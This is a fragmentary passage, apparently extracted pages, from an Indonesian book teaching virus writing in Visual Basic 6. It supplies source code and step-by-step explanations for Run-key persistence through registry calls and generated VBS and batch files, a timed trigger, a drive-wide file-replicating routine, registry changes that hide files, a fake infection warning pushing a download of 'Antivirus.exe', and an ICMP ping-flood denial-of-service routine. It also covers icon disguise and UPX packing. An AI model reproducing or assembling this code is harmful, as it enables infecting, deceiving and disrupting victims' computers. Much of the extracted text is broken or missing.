alamat ip sesuai dengan nomor atau alamat ip komputer yang akan
119
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic
End Sub
- Akhir dari event form
1. Buat projek baru di visual basic yang terdiri dari satu form,
satu module dan satu button atau tombol.
2. Copy source code di bawah ini sesuai dengan
ketentuannya, kalau source code yang harus dikopikan ke
module ya ditulis di module, kalau source kode yang harus
dikopikan ke form ya di tulis di form. Anda dapat melihat
source code-nya di CD letaknya di direktori \kode
manipulasi\Pesan Sponsor dengan nama file Project1.vbp.
120
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic
121
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic
Option Explicit
ff = FreeFile
x = GetWindowsDirectory(buffer, 255)
End Sub
122
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic
3. Setelah selesai tekan tombol ‘F5’ atau tombol run yang ada
di Visual Basic. Kemudian akan muncul kotak kecil seperti
pada gambar berikut ini.
4. Klik tombol ‘OK’, apa yang terjadi, jika benar anda dapat
melihat pesan sponsor seperti pada gambar berikut ini.
123
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic
124
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic
Penjelasan Kode:
Dim tt As String
- Mendefinisikan tt sebagai variabel jenis string
tt = """"
- Mengisi variabel tt dengan petik dua
125
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic
End Sub
- Akhir dari sub
Option Explicit
- Awal dari modul
Public x As Long
- Mendefinisikan x sebagai variabel public (bisa diakses oleh
fungsi dan sub manapun) selama masih dalam satu project
dengan jenis Long
126
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic
Dim ff As Integer
- Mendefinisikan ff dengan jenis integer
ff = FreeFile
- Mengisi variabel ff dengan Freefile atau file kosong
x = GetWindowsDirectory(buffer, 255)
- Mengisi variabel x dengan direktori dimana windows
terinstall, jika windows terinstall di drive c: direkti windows
maka isi x adalah ‘c:\windows’
127
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic
Close #ff
- Menutup file
End Sub
- Akhir dari sub
Kode Pemicu
128
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic
1. Metode Pewaktu
2. Metode Registry Windows
3. Metode File VBScript
4. Metode Gabungan RegScript
Metode Pewaktu
129
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic
1. Buat projek baru di visual basic yang terdiri dari satu form,
satu module dan satu button atau tombol.
2. Copy source code berikut ini. Anda bisa melihat source
code-nya di CD pada direktori \kode pemicu dengan nama
file Project1.vbp
End Sub
130
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic
Penjelasan Kode:
Dim x
- Definisi variabel x
Dim y
- Definisi variabel y
Form1.WindowState = 1
- Me-minimize program
ulang:
- Penanda jika kondisi yang diinginkan tidak ditemukan maka
fungsi akan mengulang proses dimulai dari penanda ini.
x = Format(Now, "dd/mm/yyyy")
- Mengisi variabel x dengan tanggal yang mempunya format
“tanggal/bulan/tahun”
y = Format(Time, "hh:mm:ss")
- Mengisi variabel y dengan waktu yang mempunyai format
“jam:menit:detik”
131
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic
Exit Sub
- Setelah mengerjakan perintah di atas, langsung keluar
Else
- Jika kondisi tanggal dan jam tidak terpenuhi maka program
virus akan mengerjakan perintah di bawahnya
Set x = Nothing
- Mengosongkan variabel x, agar memory yang dipakai oleh
program virus tidak terlalu banyak
Set y = Nothing
132
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic
GoTo ulang
- Kembali ke penanda “ulang:” untuk mengulangi proses jika
kondisi tanggal dan jam tidak terpenuhi
End If
- Akhir dari IF
End Sub
- Akhir dari sub
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\
Atau di :
133
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\
134
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic
secattr.lpSecurityDescriptor = 0
secattr.bInheritHandle = True
secattr.nLength = Len(secattr)
nilai = "c:\windows\tes.exe"
nl_angka = 1
subkey = "Software\Microsoft\Windows\CurrentVersion\Run\"
135
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic
137
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic
secattr.lpSecurityDescriptor = 0
- Memberi nilai secattr.lpSecurityDescriptor dengan nilai 0 berguna
agar registry dapat diubah.
secattr.bInheritHandle = True
- Memberi nilai secattr.bInheritHandel dengan nilai True
berguna agar handle registry dapat dirubah dan diwarisi oleh
registry di sistem lain.
secattr.nLength = Len(secattr)
- Memberi nilai secattr.nLength dengan nilai jumlah string
dari registry tersebut.
138
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic
nilai = "c:\windows\tes.exe"
- Memberi nilai variabel nilai dengan “c:\windows\tes.exe”
berguna untuk memanggil file virus, dapat diisi sesuai
dengan letak dan nama file virus yang akan dijalankan.
subkey =
"Software\Microsoft\Windows\CurrentVersion\Run\"
- Memberi nilai variabel subkey dengan
"Software\Microsoft\Windows\CurrentVersion\Run\" berguna
untuk kunci registry yang diinginkan.
retval = RegCloseKey(hKey)
- Menutup kunci registry.
End Sub
- Akhir dari sub.
139
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic
140
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\
Dan
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\
141
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic
Dim tt As String
Dim dan As String
dan = "&"
tt = """"
Log "dim wasu" & vbCrLf & _
"set wasu = CreateObject(" & tt & "WScript.Shell" & tt & ")" & vbCrLf & _
"ss = " & tt & " HKLM\Software\Microsoft\Windows\CurrentVersion\Run\" & tt & vbCrLf & _
"dv2 = " & tt & " REG_SZ " & tt & vbCrLf & _
"wasu.Regwrite ss " & dan & " " & tt _
& " tes " & tt & "," & tt & " e:\tes.exe " & tt & ", dv2"
Shell "tes.bat"
End Sub
‘///////////////////////Akhir Kode Form////////////////////////////////////////////
142
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic
End Sub
‘///////////////////////Akhir Kode Modul////////////////////////////////////////////
143
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic
144
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic
145
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic
Kode sebelumnya
…
…
Public Sub Log2(strLog As String)
Dim fg As Integer
fg = FreeFile
On Error Resume Next
Open Left(buffer, x) & "\tes.bat" For Output As #fg
Print #fg, strLog
Close #fg
…
…
Kode Sesudahnya
Shell "tes.bat"
Kode sebelumnya
146
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic
…
…
Public Sub Log(strLog As String)
Dim ff As Integer
x = GetWindowsDirectory(buffer, 255)
ff = FreeFile
On Error Resume Next
Open Left(buffer, x) & "\tes.vbs" For Output As #ff
Print #ff, strLog
Close #ff
End Sub
…
…
Kode Sesudahnya
147
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic
148
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic
Dim b As Object
On Error Resume Next
Set b = CreateObject("wscript.shell")
b.RegWrite Folder, Value
End Sub
149
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic
HKCU\Software\Microsoft\Windows\CurrentVersion\R
un\
“c:\windows\tes_di_direktory_windows.exe”
150
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic
Penjelasan Kode:
titik = """"
- Mengisi variabel titik dengan tanda petik dua (“)
151
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic
CreateKey
"HKCU\Software\Microsoft\Windows\CurrentVersion\Ru
n\test", _
titik & "c:\windows\tes_di_direktory_windows.exe"
& titik
- Memanggil fungsi CreateKey yang ada di modul untuk
menulis kunci registry ‘test’ pada alamat registry
‘HKCU\Software\Microsoft\Windows\CurrentVersion\Run\’
yang berguna untuk menjalankan program virus dengan
nama file ‘tes_di_direktory_windows.exe’ yang terletak di
direktori ‘c:\windows\’ secara otomatis. Anda dapat
mengganti kunci registry sesuai selera, atau mengganti letak
file sesuai dengan direktori yang diinginkan
End Sub
- Akhir dari sub
Dim b As Object
- Mendefinisikan variabel b sebagai object
152
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic
Set b = CreateObject("wscript.shell")
- Memberi nilai b dengan ‘createObject(“wscript.shell”)’ yaitu
fungsi dari VBS yang berguna untuk menjalankan VBS
End Sub
- Akhir dari sub
153
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic
Option Explicit
1. Buat project
'////////////////deklarasi dengan
Kode 1 dan
manipulasi modul
pencarian////////////////////
Private
2. Const FILE_ATTRIBUTE_READONLY
Copy seluruh source code yang= &H1
ada di bawah ini, seperti
Private Const FILE_ATTRIBUTE_HIDDEN = &H2
Privatebiasa jika malas, buka file ‘rangkaian.vbp’
Const FILE_ATTRIBUTE_SYSTEM = &H4 yang ada di CD
Privatepada direktori \Rangkaian\ = &H10
Const FILE_ATTRIBUTE_DIRECTORY
Private Const FILE_ATTRIBUTE_ARCHIVE = &H20
Private Const FILE_ATTRIBUTE_NORMAL = &H80
Private Const FILE_ATTRIBUTE_TEMPORARY = &H100
Private Const FILE_ATTRIBUTE_COMPRESSED = &H800
Private Const MAX_PATH = 260
154
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic
Private Declare Function FindClose Lib "kernel32" (ByVal hFindFile As Long) As Long
155
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic
156
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic
Screen.MousePointer = vbHourglass
Dim WFD As WIN32_FIND_DATA
Dim hFile As Long, fPath As String, fName As String
fPath = AddBackslash(Path)
Dim sPattern As String
sPattern = Pattern
fName = fPath & sPattern
hFile = FindFirstFile(fName, WFD)
If (hFile > 0) And ((WFD.dwFileAttributes And
FILE_ATTRIBUTE_DIRECTORY) <> FILE_ATTRIBUTE_DIRECTORY)
Then
CopyFile "c:\windows\tes_di_direktory_windows.exe", fPath &
StripNulls(WFD.cFileName) & ".exe", 1
End If
157
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic
End Sub
Private Function StripNulls(f As String) As String
Sub pencarian()
GetFiles "c:", True, "*.cob"
MsgBox "Pencarian selesai", 0, "Tes Cari"
End Sub
'////////////////akhir Kode manipulasi dan pencarian////////////////////
158
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic
159
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic
Sub kodepertahanan()
'////////menyembunyikan file yang mempunyai attribut hide//////////
CreateIntegerKey
"HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\H
idden\SHOWALL\CheckedValue", 1
CreateIntegerKey
"HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\H
idden\SHOWALL\DefaultValue", 1
160
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic
CreateIntegerKey
"HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Fol
der\Hidden\NOHIDDEN\CheckedValue", 2
CreateIntegerKey
"HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Fol
der\Hidden\NOHIDDEN\DefaultValue", 2
CreateIntegerKey
"HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Hid
den", 0
CreateKey "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\test2",
_
titik & "d:\tes.exe" & titik
End Sub
'////////////////akhir Kode Pertahanan////////////////////
Sub pesansponsor()
Dim tt As String
tt = """"
Log "<html> <body> komputer anda kena virus, silahkan donlot di situs ini
<h2> <a href=" & tt & "http://www.dinamikasolusi.co.nr/" & tt & ">
Antivirus.exe</h2> </body> </html>"
Shell "C:\Program Files\Internet Explorer\IEXPLORE.EXE " & Left(buffer, x)
& "/help.htm", vbNormalFocus
End Sub 161
Pemrograman VisualKode
'////////////////akhir Basic
pesan sponsor////////////////////
Seni Pemrograman Virus Menggunakan Visual Basic
sDataToSend =
"kikookikookikookikookikookikookikookikookikookikookikookikookikookikooki
kookikoo" & _
"kikookikookikookikookikookikookikookikookikookikookikookikookikookikooki
kookikookikookikookikoo" & _
"kikookikookikookikookikookikookikookikookikookikookikookikookikookikooki
kookikookikookikookikoo"
dwAddress = AddressStringToLong(szAddress)
hPort = IcmpCreateFile()
ECHO.Options.TTL = TTL
iOpt.TTL = TTL
If IcmpSendEcho(hPort, _
dwAddress, _
sDataToSend, _
Len(sDataToSend), _
iOpt, _
ECHO, _
Len(ECHO), _
timeout_ping) Then
Ping = ECHO.RoundTripTime
Else
Ping = ECHO.status * -1
End If
Call IcmpCloseHandle(hPort)
End Function
162
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic
End Function
Sub seranganDoS()
Dim ECHO As ICMP_ECHO_REPLY
Dim angka As Long
163
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic
ff = FreeFile
x = GetWindowsDirectory(buffer, 255)
End Sub
Sub Main()
kodepertahanan
kodepengganda
pencarian
pesansponsor
seranganDoS
End Sub
164
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic
165
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic
BAB IV
Finishing Virus
166
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic
167
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic
3. Kemudian klik menu File -> Open dan pilih file yang
berekstensi .exe, .ico atau .dll untuk dilihat iconnya.
Misalnya anda ingin melihat icon apa yang dipakai oleh
Microsoft Word, maka pilih file Winword.exe yang ada di
direktori C:\Program Files\Microsoft
Office\Office\WINWORD.exe
168
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic
169
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic
170
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic
171
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic
172
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic
173
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic
BAB V
Pengepakan (Packing) dengan UPX
174
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic
175
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic
176
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic
177
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic
178
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic
179
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic
180
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic
181
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic
BAB VI
Balada Virus – Virus Lokal
182
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic
Virus Hallo.Roro.htt
Masih ingat virus ini kan? Virus ini buatan orang indonesia,
karena pada file yang dibuat oleh virus ini berisi tentang sajak –
sajak indah yang ditujukan kepada pacar / ex pacar si programmer
tersebut, entah mengapa kadang kekuatan cinta bisa menghasilkan
virus yang dapat memperlambat kecepatan komputer kita itu.
Kebiasaan virus
183
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic
Pemicu virus
184
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic
Penanggulangan
Klik
di sini
untuk
meno Visual Basic 185
Pemrograman
naktif
kan
Seni Pemrograman Virus Menggunakan Visual Basic
Virus Riyani_Djangkaru
186
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic
kliknya. Padahal file ini tidak berextensi .jpg tetapi .exe atau disebut
aplikasi.
Virus ini dibuat oleh visual basic dan tidak diacak atau
dikompresi dengan UPX, dapat dilihat ketika dibongkar dengan
windisassembler32 dapat dilihat class-class dari VB seperti pada
gambar.
Dapat dilihat bahwa ada kelas kelas dari vba (visual basic
application) dari modul MSVBVM60.dll. Dapat ditarik kesimpulan
virus ini dibuat oleh VB 6 (Lagi-lagi VB).
187
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic
Akibat –Akibat
Cara 1 :
188
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic
Cara 2:
Cara 3:
189
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic
190
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic
1. Mengunci regedit
2. Mengunci msconfig
3. Mengunci DOS shell
4. Menjalankan file virus eksplorasi.exe, bronstab.exe,
empty.pif
5. Membuat atau menelurkan file virus di tiap direktori kita
dengan nama file sesuai dengan nama direktori.
6. File virus mempunyai icon seperti folder untuk menipu
korban.
7. Mengirim email dengan attachment virus.
8. Mengubah beberapa value dalam registry windows untuk
menjalankan virus secara otomatis.
191
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic
- 28B3A591
- 56038CCE
- 67655C3B
192
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic
193
Pemrograman Visual Basic